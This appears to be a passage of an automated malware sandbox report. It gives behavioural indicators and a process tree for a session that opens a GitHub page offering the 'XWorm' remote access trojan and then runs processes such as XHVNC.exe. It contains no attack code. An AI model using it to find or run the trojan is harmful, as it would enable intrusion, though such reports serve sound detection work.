MicrosoftEdgeCP.exechrome.exedescription pid process Token: SeDebugPrivilege 856 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 856 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 856 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 856 MicrosoftEdgeCP.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe Token: SeShutdownPrivilege 3244 chrome.exe Token: SeCreatePagefilePrivilege 3244 chrome.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
chrome.exetaskmgr.exepid process 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
chrome.exetaskmgr.exepid process 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 3244 chrome.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe 4104 taskmgr.exe -
Suspicious use of SetWindowsHookEx 25 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeXHVNC.exewsappx.exeOpenWith.exeOpenWith.exepid process 2220 MicrosoftEdge.exe 1784 MicrosoftEdgeCP.exe 856 MicrosoftEdgeCP.exe 1784 MicrosoftEdgeCP.exe 4904 MicrosoftEdgeCP.exe 4904 MicrosoftEdgeCP.exe 5400 XHVNC.exe 5400 XHVNC.exe 6140 wsappx.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 5444 OpenWith.exe 6052 OpenWith.exe 6052 OpenWith.exe 6052 OpenWith.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
MicrosoftEdgeCP.exechrome.exedescription pid process target process PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4244 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4604 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4604 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4604 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4604 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4604 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4604 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 1784 wrote to memory of 4604 1784 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 3244 wrote to memory of 1600 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 1600 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3456 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3916 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 3916 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 2116 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 2116 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 2116 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 2116 3244 chrome.exe chrome.exe PID 3244 wrote to memory of 2116 3244 chrome.exe chrome.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\LaunchWinApp.exe"C:\Windows\system32\LaunchWinApp.exe" "https://github.com/errias/XWorm-Rat-Remote-Administration-Tool-"1⤵PID:2216
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2220
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4884
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1784
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:856
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:1744
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:3276
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4904
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4244
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4604
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7fffe5fe9758,0x7fffe5fe9768,0x7fffe5fe97782⤵PID:1600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1520 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:22⤵PID:3456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1764 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:3916
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2104 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:2116
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3092 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5144
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3128 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5152
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4396 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4588 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4620 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5476
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4752 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4808 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3756 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5836
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4616 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5904
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4968 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4616 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5872
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5012 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5688
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=3184 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4852 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5520 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5320
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=4544 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=4964 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4576 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=5672 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=3096 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4760 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5240
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5680 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5432
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5148 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5704
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6260 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5304
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5452 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:496
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6224 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5436
-
-
C:\Users\Admin\Downloads\dotnetfx45_full_setup.exe"C:\Users\Admin\Downloads\dotnetfx45_full_setup.exe"2⤵
- Executes dropped EXE
PID:5896 -
C:\daace83fb279d8d09e97d2\Setup.exeC:\daace83fb279d8d09e97d2\\Setup.exe /x86 /x64 /web3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4124
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5060 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:4724
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1788 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
PID:5636
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --mojo-platform-channel-handle=960 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:6096
-
-
